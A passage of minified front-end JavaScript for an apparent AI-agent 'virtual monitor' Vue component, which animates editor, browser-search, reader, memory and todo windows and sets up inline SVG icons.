this.typeLineText(i,r),i.classList.remove("diff-replace"),this.editorScene.lines[n]=r,this.syncEditorIndices()}adjustEditorScrollForLine(e){const t=this.elements.editorBody;if(!t||!e)return;const s=18,n=t.getBoundingClientRect(),i=e.getBoundingClientRect();let r=0;if(i.bottom>n.bottom-s?r=i.bottom-(n.bottom-s):i.topHe;if(e.textContent="",i){e.textContent=n,this.adjustEditorScrollForLine(e),await u(40);return}const r=1+Math.min(n.length/40,6),o=Math.max(1,r*this.editorSpeedBoost),l=Math.max(4,Math.floor(st/o));for(const c of n.split(""))e.textContent=`${e.textContent||""}${c}`,this.adjustEditorScrollForLine(e),await u(l)}async eraseLineText(e,t={}){if(!e)return;const s=e.textContent||"";if(!s.length){await u(40);return}if(typeof t.instant=="boolean"?t.instant:s.length>He){e.textContent="",await u(60);return}const i=1+Math.min(s.length/40,6),r=Math.max(1,i*this.editorSpeedBoost),o=Math.max(3,Math.floor(nt/r));for(let l=s.length-1;l>=0;l-=1)e.textContent=s.slice(0,l),await u(o);e.textContent=""}resolveEditorBeforeLines(e){const t=(e==null?void 0:e.argumentSnapshot)||(e==null?void 0:e.arguments)||{},s=(e==null?void 0:e.result)||{};return this.pickFirstNonEmptyLines([s.before,s.original,s.previous_content,t.existing_content,t.original_content,t.before])}resolveEditorAfterLines(e,t){const s=(t==null?void 0:t.result)||{},n=(e==null?void 0:e.result)||{},i=(e==null?void 0:e.argumentSnapshot)||(e==null?void 0:e.arguments)||{};return this.pickFirstNonEmptyLines([s.after,s.content,s.text,s.new_content,n.after,n.content,n.text,i.final_content,i.updated_content,i.content])}pickFirstNonEmptyLines(e){for(const t of e){const s=this.normalizeLines(t);if(s.length)return s}return[]}async typeEditorLines(e,t){if((t==null?void 0:t.highlight)==="diff"){await this.animateEditorTransition(e);return}this.prepareEditorScene(e)}computeEditorSpeedBoost(e,t){const s=Math.min(e/400,4),n=Math.min(t/120,2);return 1+s+n}async typeSearchQuery(e){this.elements.browserSearchText.textContent="";for(const t of e.split(""))this.elements.browserSearchText.textContent+=t,await u(70)}normalizeUrl(e){return!e||typeof e!="string"?"":e.trim().toLowerCase().replace(/^https?:\/\//,"").replace(/\/$/,"")}findSearchResultElement(e){const t=this.normalizeUrl(e);if(!t)return null;if(this.browserResultMap.has(t))return this.browserResultMap.get(t)||null;for(const[s,n]of this.browserResultMap.entries())if(s.includes(t)||t.includes(s))return n;return null}async focusSearchResultByUrl(e){const t=this.findSearchResultElement(e);if(!t)return null;this.clearResultTargets();const s=this.elements.browserResults.parentElement;if(s){const n=s.getBoundingClientRect(),i=t.getBoundingClientRect(),r=12;let o=s.scrollTop;const l=i.top-(n.top+r),c=i.bottom-(n.bottom-r);l<0?o=Math.max(0,s.scrollTop+l):c>0&&(o=Math.min(s.scrollHeight-s.clientHeight,s.scrollTop+c)),s.scrollTo({top:o,behavior:"smooth"}),await u(380)}return t.classList.add("target"),t}clearResultTargets(){this.elements.browserResults.querySelectorAll(".target").forEach(e=>e.classList.remove("target"))}renderSearchResults(e){this.clearResultTargets(),this.elements.browserResults.innerHTML="",this.browserResultMap.clear();const t=this.elements.browserResults.parentElement,s=e.slice(0,8);if(s.length)s.forEach(n=>{const i=document.createElement("li"),r=document.createElement("strong"),o=typeof(n==null?void 0:n.url)=="string"?n.url:"";r.textContent=(n==null?void 0:n.title)||o||"搜索结果";const l=document.createElement("span");l.textContent=o||"agent.local",i.appendChild(r),i.appendChild(l),n!=null&&n.highlight&&i.classList.add("highlight");const c=this.normalizeUrl(o);c&&(i.dataset.url=c,this.browserResultMap.set(c,i)),this.elements.browserResults.appendChild(i)});else{const n=document.createElement("li");n.textContent="暂无搜索结果",this.elements.browserResults.appendChild(n)}t&&t.scrollTo({top:0,behavior:"smooth"})}renderExtractionSummary(e,t){if(!e)return{hasContent:!1,hasError:!1};e.innerHTML="";let s=!1,n=!1;const i=(l,c)=>{const a=document.createElement("p");a.textContent=l,e.appendChild(a)};t&&typeof t=="object"&&t.error&&(i(`❌ ${t.error}`),n=!0);const r=this.normalizeExtractionSections(t);r.length?(s=!0,r.forEach(l=>{const c=document.createElement("div");if(c.className="extract-block",l.title||l.url){const m=document.createElement("div");if(m.className="extract-block-header",l.title){const d=document.createElement("strong");d.textContent=l.title,m.appendChild(d)}if(l.url){const d=document.createElement("span");d.textContent=l.url,m.appendChild(d)}c.appendChild(m)}const a=document.createElement("pre");a.textContent=l.text,c.appendChild(a),e.appendChild(c)})):n||i("未返回任何摘要内容");const o=Array.isArray(t==null?void 0:t.failed_results)?t.failed_results:[];return o.length&&o.slice(0,2).forEach(l=>{i(`⚠️ ${(l==null?void 0:l.url)||"URL"}: ${(l==null?void 0:l.error)||"提取失败"}`)}),requestAnimationFrame(()=>{e.scrollTo({top:e.scrollHeight,behavior:"smooth"})}),{hasContent:s,hasError:n}}normalizeExtractionSections(e){const t=[],s=(i,r)=>{const o=(i||"").trim();o&&t.push({title:(r==null?void 0:r.title)||void 0,url:(r==null?void 0:r.url)||void 0,text:o})},n=i=>{if(i===null||typeof i>"u")return"";if(typeof i=="string")return i.trim();if(typeof i=="number"||typeof i=="boolean")return String(i);if(Array.isArray(i))return i.map(r=>n(r)).filter(Boolean).join(` + +`);if(typeof i=="object"){const r=["raw_content","content","summary","paragraphs","paragraph","text","snippets","highlights","lines","chunks","description"];for(const o of r)if(o in i){const l=n(i[o]);if(l)return l}if(Array.isArray(i.sections))return i.sections.map(o=>n(o)).filter(Boolean).join(` + +`)}return""};if(e&&typeof e=="object"&&e.summary){const i=n(e.summary);i&&s(i,{title:e.title||"网页摘要",url:e.url||e.source})}if(Array.isArray(e==null?void 0:e.results)&&e.results.length&&e.results.forEach((i,r)=>{const o=n(i);o&&s(o,{title:(i==null?void 0:i.title)||`网页 ${r+1}`,url:(i==null?void 0:i.url)||(i==null?void 0:i.source)})}),!t.length){const i=n(e);i&&s(i,{title:e==null?void 0:e.title,url:(e==null?void 0:e.url)||(e==null?void 0:e.source)})}return t}resolveExtractionStatus(e,t,s){const n=((e==null?void 0:e.status)||(t==null?void 0:t.status)||"").toString().toLowerCase();if(n==="completed")return"completed";if(n==="failed"||n==="error")return"failed";if(s&&typeof s=="object"){if(s.success===!1||s.error)return"failed";if(s.summary||s.paragraphs||s.content||s.raw_content||Array.isArray(s.results)&&s.results.length)return"completed"}return typeof s=="string"&&s.trim()||Array.isArray(s)&&s.length?"completed":null}toolResultSucceeded(e){var n,i,r;if(!e)return!0;const t=String((e==null?void 0:e.status)||((n=e==null?void 0:e.result)==null?void 0:n.status)||"").toLowerCase();return!(t&&!["completed","success","succeeded","ok","done"].includes(t)||((i=e==null?void 0:e.result)==null?void 0:i.success)===!1||(e==null?void 0:e.success)===!1||(r=e==null?void 0:e.result)!=null&&r.error||e!=null&&e.error)}resolveResultPath(e,t){var i,r,o;return e&&[(i=e==null?void 0:e.result)==null?void 0:i.path,e==null?void 0:e.path,(r=e==null?void 0:e.arguments)==null?void 0:r.path,(o=e==null?void 0:e.arguments)==null?void 0:o.target_path,t].find(l=>typeof l=="string"&&l.trim().length)||t}ensureSuccessOrErrorBubble(e,t,s="工具执行错误"){var r,o;if(this.toolResultSucceeded(e??t??null))return!0;const i=((r=e==null?void 0:e.result)==null?void 0:r.error)||(e==null?void 0:e.error)||(t==null?void 0:t.error)||((o=t==null?void 0:t.result)==null?void 0:o.error)||s;return this.showSpeechBubble(i||s,{variant:"error",duration:2600}),!1}normalizeLines(e){if(typeof e=="string"){const t=e.split(/\r?\n/).map(s=>s.replace(/\t/g," "));return t.length?t:[""]}if(typeof e=="number")return[String(e)];if(Array.isArray(e)){const t=[];return e.forEach(s=>{if(typeof s=="string"||typeof s=="number")t.push(String(s));else if(s&&typeof s=="object"){const n=s.content||s.text||(Array.isArray(s.lines)?s.lines.join(` +`):"");n&&t.push(...this.normalizeLines(n))}}),t}if(e&&typeof e=="object"){if(typeof e.content=="string")return this.normalizeLines(e.content);if(typeof e.text=="string")return this.normalizeLines(e.text);if(Array.isArray(e.lines))return this.normalizeLines(e.lines)}return[]}renderReaderMessage(e){this.elements.readerLines.innerHTML="";const t=this.buildEditorLineElement(e||"暂无内容",0);t.classList.add("reading-line","empty"),this.elements.readerLines.appendChild(t)}renderReaderLines(e){const t=this.extractReaderLines(e).slice(0,K);if(!t.length){this.renderReaderMessage("未返回可视内容");return}this.elements.readerLines.innerHTML="",t.forEach((s,n)=>{const i=this.buildEditorLineElement(s.text||" ",n);i.classList.add("reading-line"),s.highlight&&i.classList.add("highlight"),this.elements.readerLines.appendChild(i),requestAnimationFrame(()=>{setTimeout(()=>i.classList.add("visible"),Math.min(n,30)*60)})})}resolveReaderPayload(e,t){var n,i;const s=[{label:"completion.result",value:t==null?void 0:t.result},{label:"completion.result.tool_payload",value:(n=t==null?void 0:t.result)==null?void 0:n.tool_payload},{label:"completion.payload",value:t==null?void 0:t.payload},{label:"payload.result",value:e==null?void 0:e.result},{label:"payload.result.tool_payload",value:(i=e==null?void 0:e.result)==null?void 0:i.tool_payload},{label:"payload.payload",value:e==null?void 0:e.payload},{label:"payload.arguments",value:e==null?void 0:e.arguments}];for(const r of s){const o=this.normalizeReaderPayloadCandidate(r.value);if(o!==null)return W("resolveReaderPayload hit",r.label),{source:o,label:r.label}}return{source:null,label:null}}normalizeReaderPayloadCandidate(e){if(e==null)return null;if(this.hasRenderableReaderContent(e))return e;if(typeof e=="string"){const t=this.tryParseReaderJson(e);return t&&this.hasRenderableReaderContent(t)?t:e.trim().length?e:null}if(typeof e=="object"){if(typeof e.output=="string"){const t=this.tryParseReaderJson(e.output);if(t&&this.hasRenderableReaderContent(t))return t;if(e.output.trim().length)return e.output}if(typeof e.tool_content=="string"){const t=this.tryParseReaderJson(e.tool_content);if(t&&this.hasRenderableReaderContent(t))return t;if(e.tool_content.trim().length)return e.tool_content}}return null}hasRenderableReaderContent(e){return e==null?!1:typeof e=="string"?e.trim().length>0:Array.isArray(e)?e.length>0:!!(typeof e=="object"&&(typeof e.content=="string"&&e.content.trim().length||typeof e.text=="string"&&e.text.trim().length||Array.isArray(e.lines)&&e.lines.length||Array.isArray(e.matches)&&e.matches.length||Array.isArray(e.segments)&&e.segments.length))}tryParseReaderJson(e){const t=e.trim();if(!t.startsWith("{")&&!t.startsWith("["))return null;try{return JSON.parse(t)}catch{return null}}renderReaderOcr(e){this.elements.readerOcr.innerHTML="";const t=this.normalizeLines(e);(t.length?t:["OCR 内容就绪"]).slice(0,6).forEach(n=>{const i=document.createElement("p");i.textContent=n,this.elements.readerOcr.appendChild(i)})}extractReaderLines(e){let t="";try{t=JSON.stringify(e,null,2)}catch{t="[unserializable source]"}if(!e)return[];if(typeof e=="string"||Array.isArray(e)){const n=this.normalizeLines(e).map((i,r)=>({text:i,lineNumber:r+1}));return W("extractReaderLines:string/array",{count:n.length}),n}if(typeof e!="object")return[];if(e.content!==void 0&&e.content!==null){W("extractReaderLines:try content",{type:typeof e.content});const n=this.normalizeLines(e.content).map((i,r)=>({text:i,lineNumber:r+1}));if(n.length)return W("extractReaderLines:content success",{count:n.length}),n}if(e.text!==void 0&&e.text!==null){W("extractReaderLines:try text",{type:typeof e.text});const n=this.normalizeLines(e.text).map((i,r)=>({text:i,lineNumber:r+1}));if(n.length)return W("extractReaderLines:text success",{count:n.length}),n}if(Array.isArray(e.lines)){W("extractReaderLines:try lines array",{length:e.lines.length});const n=this.normalizeLines(e.lines).map((i,r)=>({text:i,lineNumber:r+1}));if(n.length)return W("extractReaderLines:lines success",{count:n.length}),n}const s=typeof e.type=="string"?e.type.toLowerCase():"";if(s==="search"){const i=(Array.isArray(e.matches)?e.matches:[]).flatMap(r=>{const o=typeof(r==null?void 0:r.snippet)=="string"?r.snippet:r==null?void 0:r.content,l=Number((r==null?void 0:r.line_start)||(r==null?void 0:r.start_line)||0);return this.normalizeLines(o).map((c,a)=>({text:c,lineNumber:l?l+a:void 0,highlight:!0}))});return W("extractReaderLines:search matches",{count:i.length}),i}if(s==="extract"){const i=(Array.isArray(e.segments)?e.segments:[]).flatMap(r=>{const o=Number((r==null?void 0:r.line_start)||(r==null?void 0:r.start_line)||0),l=(r==null?void 0:r.content)||(r==null?void 0:r.text);return this.normalizeLines(l).map((c,a)=>({text:c,lineNumber:o?o+a:void 0}))});return W("extractReaderLines:extract segments",{count:i.length}),i}if(Array.isArray(e.segments)){const n=e.segments.flatMap(i=>{const r=Number((i==null?void 0:i.line_start)||(i==null?void 0:i.start_line)||0),o=(i==null?void 0:i.content)||(i==null?void 0:i.text);return this.normalizeLines(o).map((l,c)=>({text:l,lineNumber:r?r+c:void 0}))});return W("extractReaderLines:segments fallback",{count:n.length}),n}if(Array.isArray(e.matches)){const n=this.extractReaderLines({type:"search",matches:e.matches});return W("extractReaderLines:matches recursive",{count:n.length}),n}if(e.content||e.text){const n=Number(e.line_start||e.start_line||0),i=this.normalizeLines(e.content||e.text).map((r,o)=>({text:r,lineNumber:n?n+o:void 0}));return W("extractReaderLines:content/text fallback",{count:i.length}),i}return[]}addMemoryCard(e){const t=this.createMemoryCard(e);this.elements.memoryList.appendChild(t),requestAnimationFrame(()=>t.classList.add("visible")),this.updateMemoryMeta()}getTodoItems(){return this.elements.todoList?Array.from(this.elements.todoList.children):[]}findTodoItemByText(e){if(!e)return null;const t=(e||"").trim();return this.getTodoItems().find(s=>{var n,i;return((i=(n=s.querySelector(".todo-text"))==null?void 0:n.textContent)==null?void 0:i.trim())===t})||null}findTodoItemByIndex(e){if(!e||e<1)return null;const t=this.getTodoItems();return e>t.length?null:t[e-1]}normalizeTodoTasks(e){return Array.isArray(e)?e.map(t=>{if(typeof t=="string")return{text:t,done:!1};if(t&&typeof t=="object"){const s=String(t.title||t.task||t.text||"").trim(),n=typeof t.completed=="boolean"?t.completed:typeof t.done=="boolean"?t.done:typeof t.checked=="boolean"?t.checked:!1;return s?{text:s,done:n}:null}return null}).filter(Boolean):typeof e=="string"?[{text:e,done:!1}]:[]}createTodoItem(e,t=!1){const s=document.createElement("div");s.className="todo-item fly-in";const n=document.createElement("div");n.className="todo-text",n.textContent=e;const i=document.createElement("div");return i.className="todo-check",t&&(i.classList.add("checked"),s.classList.add("done")),s.appendChild(n),s.appendChild(i),s}renderTodoItems(e){this.elements.todoList&&(this.elements.todoList.innerHTML="",e.forEach(t=>{const s=this.createTodoItem(t.text,!!t.done);s.classList.add("visible"),this.elements.todoList.appendChild(s)}))}resetTodoBoard(e={}){const{summary:t=!0,list:s=!0}=e;t&&this.elements.todoSummary&&(this.elements.todoSummary.textContent=""),s&&this.elements.todoList&&(this.elements.todoList.innerHTML="",this.elements.todoList.scrollTop=0)}async ensureTodoWindowVisible(){if(this.isWindowVisible(this.elements.todoWindow)){this.showWindow(this.elements.todoWindow);return}await this.movePointerToApp("todo"),await this.click({count:2}),this.showWindow(this.elements.todoWindow),this.resetTodoBoard({summary:!0,list:!0})}async typeTodoSummary(e){if(!this.elements.todoSummary)return;await this.movePointerToElement(this.elements.todoSummary,{duration:420}),await this.click(),this.elements.todoSummary.textContent="";const t=Array.from(e||"暂无摘要");for(const s of t)this.elements.todoSummary.textContent=(this.elements.todoSummary.textContent||"")+s,await u(20)}async animateTodoAppend(e,t={}){if(!this.elements.todoList)return;const{scrollIntoView:s=!1}=t,n=this.createTodoItem(e.text,!!e.done);this.elements.todoList.appendChild(n),requestAnimationFrame(()=>n.classList.add("visible")),s&&await this.scrollTodoItemIntoView(n),await u(180)}async scrollTodoItemIntoView(e,t={}){if(!e||!this.elements.todoList)return;const s=this.elements.todoList,n=8,i=typeof t.waitMs=="number"?t.waitMs:120,r=()=>{const p=s.getBoundingClientRect(),x=e.getBoundingClientRect(),b=x.top-p.top+s.scrollTop,k=b+x.height,S=s.scrollTop,I=S+s.clientHeight;return{relTop:b,relBottom:k,viewTop:S,viewBottom:I}};let{relTop:o,relBottom:l,viewTop:c,viewBottom:a}=r();if(o>=c+n&&l<=a-n)return;const d=l>a-n?l-s.clientHeight+n:Math.max(0,o-n),w=Math.max(0,d);s.scrollTo({top:w,behavior:"smooth"}),await this.waitForScrollSettled(s,w),i>0&&await u(i),{relTop:o,relBottom:l,viewTop:c,viewBottom:a}=r(),oa-n&&(s.scrollTop=l-s.clientHeight+n,await u(30))}async toggleTodoItem(e,t,s){const n=this.findTodoItemByIndex(s)||this.findTodoItemByText(e)||(!e&&!s?this.getTodoItems()[0]:null);if(!n)return;await this.scrollTodoItemIntoView(n);const i=n.querySelector(".todo-check");if(!i)return;await this.movePointerToElement(i,{duration:420}),await this.click();const r=typeof t=="boolean"?t:!i.classList.contains("checked");i.classList.toggle("checked",r),n.classList.toggle("done",r),await u(200)}}const at={class:"virtual-monitor-surface"},ht={class:"monitor-stage"},ut={class:"monitor"},mt={class:"monitor-shell"},dt={class:"monitor-top"},ft={class:"status-pill-group"},wt={class:"status-pill"},gt={key:0,class:"progress-pill"},bt={class:"progress-text"},pt={class:"desktop-layer"},vt={class:"desktop-section apps"},xt={class:"desktop-section files"},Tt={class:"browser-body"},St={class:"search-bar"},Et={class:"results-list results-scroll"},Mt={class:"extraction-body"},kt={class:"window-header"},Lt={class:"window-header"},Ct={class:"window-header"},It={class:"terminal-body"},Pt={class:"window-header"},Bt={class:"command-body"},Rt={class:"window-header"},Ft={class:"window-header"},At={class:"reader-body"},Wt={class:"memory-body"},Dt={class:"memory-footer hidden","aria-hidden":"true"},_t={class:"todo-body"},Ht={class:"wait-body"},Ot=["src"],jt=Ge({__name:"VirtualMonitorSurface",setup(O){const e=Xe(),{statusLabel:t,progressIndicator:s,lastTreeSnapshot:n}=Ye(e),i=et(()=>{var j;return((j=s.value)==null?void 0:j.label)||""}),r=v(null),o=v(null),l=v(null),c=v(null),a=v(null),m=v(null),d=v(null),w=v(null),p=v(null),x=v(null),b=v(null),k=v(null),S=v(null),I=v(null),P=v(null),L=v(null),E=v(null),R=v(null),_=v(null),A=v(null),H=v(null),$=v(null),C=v(null),B=v(null),T=v(null),N=v(null),z=v(null),q=v(null),G=v(null),F=v(null),M=v(null),Q=v(null),ee=v(null),ne=v(null),le=v(null),ce=v(null),ae=v(null),he=v(null),ue=v(null),me=v(null),de=v(null),fe=v(null),we=v(null),ge=v(null),be=v(null),pe=v(null),ve=v(null),xe=v(null),Te=v(null),Se=v(null),Ee=v(null),Me=v(null),ke=v(null),Le=v(null),Ce=v(null),Ie=v(null),Pe=v(null),Be=v(null),$e=new URL("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2024%2024'%20width='48'%20height='48'%20fill='none'%20stroke='%23000000'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20style='opacity:1;'%3e%3cpath%20d='M4.037%204.688a.495.495%200%200%201%20.651-.651l16%206.5a.5.5%200%200%201-.063.947l-6.124%201.58a2%202%200%200%200-1.438%201.435l-1.579%206.126a.5.5%200%200%201-.947.063z'/%3e%3c/svg%3e",import.meta.url).href,qe={brainIcon:new URL("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3cpath%20d='M12%2018V5'%20/%3e%3cpath%20d='M15%2013a4.17%204.17%200%200%201-3-4%204.17%204.17%200%200%201-3%204'%20/%3e%3cpath%20d='M17.598%206.5A3%203%200%201%200%2012%205a3%203%200%201%200-5.598%201.5'%20/%3e%3cpath%20d='M17.997%205.125a4%204%200%200%201%202.526%205.77'%20/%3e%3cpath%20d='M18%2018a4%204%200%200%200%202-7.464'%20/%3e%3cpath%20d='M19.967%2017.483A4%204%200%201%201%2012%2018a4%204%200%201%201-7.967-.517'%20/%3e%3cpath%20d='M6%2018a4%204%200%200%201-2-7.464'%20/%3e%3cpath%20d='M6.003%205.125a4%204%200%200%200-2.526%205.77'%20/%3e%3c/svg%3e",import.meta.url).href,folderIcon:new URL("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3cpath%20d='M20%2020a2%202%200%200%200%202-2V8a2%202%200%200%200-2-2h-7.9a2%202%200%200%201-1.69-.9L9.6%203.9A2%202%200%200%200%207.93%203H4a2%202%200%200%200-2%202v13a2%202%200%200%200%202%202Z'%20/%3e%3c/svg%3e",import.meta.url).href,folderOpenIcon:new URL("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2024%2024'%20width='48'%20height='48'%20fill='none'%20stroke='%23000000'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20style='opacity:1;'%3e%3cpath%20d='m6%2014l1.5-2.9A2%202%200%200%201%209.24%2010H20a2%202%200%200%201%201.94%202.5l-1.54%206a2%202%200%200%201-1.95%201.5H4a2%202%200%200%201-2-2V5a2%202%200%200%201%202-2h3.9a2%202%200%200%201%201.69.9l.81%201.2a2%202%200%200%200%201.67.9H18a2%202%200%200%201%202%202v2'/%3e%3c/svg%3e",import.meta.url).href,fileIcon:new URL("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3cpath%20d='M6%2022a2%202%200%200%201-2-2V4a2%202%200%200%201%202-2h8a2.4%202.4%200%200%201%201.704.706l3.588%203.588A2.4%202.4%200%200%201%2020%208v12a2%202%200%200%201-2%202z'%20/%3e%3cpath%20d='M14%202v5a1%201%200%200%200%201%201h5'%20/%3e%3c/svg%3e",import.meta.url).href,apps:{browser:new URL("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3ccircle%20cx='12'%20cy='12'%20r='10'%20/%3e%3cpath%20d='M12%202a14.5%2014.5%200%200%200%200%2020%2014.5%2014.5%200%200%200%200-20'%20/%3e%3cpath%20d='M2%2012h20'%20/%3e%3c/svg%3e",import.meta.url).href,terminal:new URL("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3cpath%20d='M18%205a2%202%200%200%201%202%202v8.526a2%202%200%200%200%20.212.897l1.068%202.127a1%201%200%200%201-.9%201.45H3.62a1%201%200%200%201-.9-1.45l1.068-2.127A2%202%200%200%200%204%2015.526V7a2%202%200%200%201%202-2z'%20/%3e%3cpath%20d='M20.054%2015.987H3.946'%20/%3e%3c/svg%3e",import.meta.url).href,command:new URL("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3cpath%20d='M12%2019h8'%20/%3e%3cpath%20d='m4%2017%206-6-6-6'%20/%3e%3c/svg%3e",import.meta.url).href,python:new URL("data:image/svg+xml,%3csvg%20role='img'%20viewBox='0%200%2024%2024'%20xmlns='http://www.w3.org/2000/svg'%3e%3ctitle%3ePython%3c/title%3e%3cpath%20d='M14.25.18l.9.2.73.26.59.3.45.32.34.34.25.34.16.33.1.3.04.26.02.2-.01.13V8.5l-.05.63-.13.55-.21.46-.26.38-.3.31-.33.25-.35.19-.35.14-.33.1-.3.07-.26.04-.21.02H8.77l-.69.05-.59.14-.5.22-.41.27-.33.32-.27.35-.2.36-.15.37-.1.35-.07.32-.04.27-.02.21v3.06H3.17l-.21-.03-.28-.07-.32-.12-.35-.18-.36-.26-.36-.36-.35-.46-.32-.59-.28-.73-.21-.88-.14-1.05-.05-1.23.06-1.22.16-1.04.24-.87.32-.71.36-.57.4-.44.42-.33.42-.24.4-.16.36-.1.32-.05.24-.01h.16l.06.01h8.16v-.83H6.18l-.01-2.75-.02-.37.05-.34.11-.31.17-.28.25-.26.31-.23.38-.2.44-.18.51-.15.58-.12.64-.1.71-.06.77-.04.84-.02%201.27.05zm-6.3%201.98l-.23.33-.08.41.08.41.23.34.33.22.41.09.41-.09.33-.22.23-.34.08-.41-.08-.41-.23-.33-.33-.22-.41-.09-.41.09zm13.09%203.95l.28.06.32.12.35.18.36.27.36.35.35.47.32.59.28.73.21.88.14%201.04.05%201.23-.06%201.23-.16%201.04-.24.86-.32.71-.36.57-.4.45-.42.33-.42.24-.4.16-.36.09-.32.05-.24.02-.16-.01h-8.22v.82h5.84l.01%202.76.02.36-.05.34-.11.31-.17.29-.25.25-.31.24-.38.2-.44.17-.51.15-.58.13-.64.09-.71.07-.77.04-.84.01-1.27-.04-1.07-.14-.9-.2-.73-.25-.59-.3-.45-.33-.34-.34-.25-.34-.16-.33-.1-.3-.04-.25-.02-.2.01-.13v-5.34l.05-.64.13-.54.21-.46.26-.38.3-.32.33-.24.35-.2.35-.14.33-.1.3-.06.26-.04.21-.02.13-.01h5.84l.69-.05.59-.14.5-.21.41-.28.33-.32.27-.35.2-.36.15-.36.1-.35.07-.32.04-.28.02-.21V6.07h2.09l.14.01zm-6.47%2014.25l-.23.33-.08.41.08.41.23.33.33.23.41.08.41-.08.33-.23.23-.33.08-.41-.08-.41-.23-.33-.33-.23-.41-.08-.41.08z'/%3e%3c/svg%3e",import.meta.url).href,memory:new URL("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3cpath%20d='M21%209a2.4%202.4%200%200%200-.706-1.706l-3.588-3.588A2.4%202.4%200%200%200%2015%203H5a2%202%200%200%200-2%202v14a2%202%200%200%200%202%202h14a2%202%200%200%200%202-2z'%20/%3e%3cpath%20d='M15%203v5a1%201%200%200%200%201%201h5'%20/%3e%3c/svg%3e",import.meta.url).href,todo:new URL("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3crect%20width='8'%20height='4'%20x='8'%20y='2'%20rx='1'%20ry='1'%20/%3e%3cpath%20d='M16%204h2a2%202%200%200%201%202%202v14a2%202%200%200%201-2%202H6a2%202%200%200%201-2-2V6a2%202%200%200%201%202-2h2'%20/%3e%3c/svg%3e",import.meta.url).href,subagent:new URL("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3cpath%20d='M12%208V4H8'%20/%3e%3crect%20width='16'%20height='12'%20x='4'%20y='8'%20rx='2'%20/%3e%3cpath%20d='M2%2014h2'%20/%3e%3cpath%20d='M20%2014h2'%20/%3e%3cpath%20d='M15%2013v2'%20/%3e%3cpath%20d='M9%2013v2'%20/%3e%3c/svg%3e",import.meta.url).href}},te=v(null),Ue=async()=>{if(await tt(),!r.value)return;const j={screen:r.value,appsGrid:o.value,desktopGrid:l.value,browserWindow:c.value,browserSearchText:a.value,browserStatus:m.value,browserResults:d.value,extractionWindow:w.value,extractionUrl:p.value,extractionState:x.value,extractionSummary:b.value,folderWindow:k.value,folderHeaderText:S.value,folderBody:I.value,editorWindow:P.value,editorHeaderText:L.value,editorBody:E.value,terminalWindow:R.value,terminalHeaderText:_.value,terminalTabs:A.value,terminalTabList:H.value,terminalAddButton:$.value,terminalBody:C.value,commandWindow:B.value,commandTitle:T.value,commandInput:N.value,commandOutput:z.value,pythonWindow:q.value,pythonTitle:G.value,pythonBody:F.value,pythonInput:M.value,pythonOutput:Q.value,readerWindow:ee.value,readerTitle:ne.value,readerLines:le.value,readerOcr:ce.value,memoryWindow:ae.value,memoryList:he.value,memoryStatus:ue.value,memoryCount:me.value,memoryTime:de.value,todoWindow:fe.value,todoSummary:we.value,todoList:ge.value,waitWindow:be.value,waitDisplay:pe.value,waitOverlay:ve.value,waitCountdown:xe.value,desktopMenu:Te.value,folderMenu:Se.value,fileMenu:Ee.value,focusMenu:Le.value,browserMenu:Me.value,terminalMenu:ke.value,speechBubble:Ce.value,bubbleIconSlot:Ie.value,bubbleTextSlot:Pe.value,mousePointer:Be.value},f=new ct(j,qe);te.value=f,e.registerDriver(f),Array.isArray(e.lastTreeSnapshot)&&e.lastTreeSnapshot.length&&f.setDesktopRoots(e.lastTreeSnapshot,{immediate:!0})};return Ke(()=>{Ue()}),Ze(n,j=>{te.value&&Array.isArray(j)&&te.value.setDesktopRoots(j,{immediate:!0})},{immediate:!0}),Je(()=>{var j;e.unregisterDriver(),(j=te.value)==null||j.destroy(),te.value=null}),(j,f)=>(Re(),Fe("div",at,[h("div",ht,[h("div",ut,[h("div",mt,[h("div",dt,[f[1]||(f[1]=h("div",{class:"monitor-brand"},"Agent Display 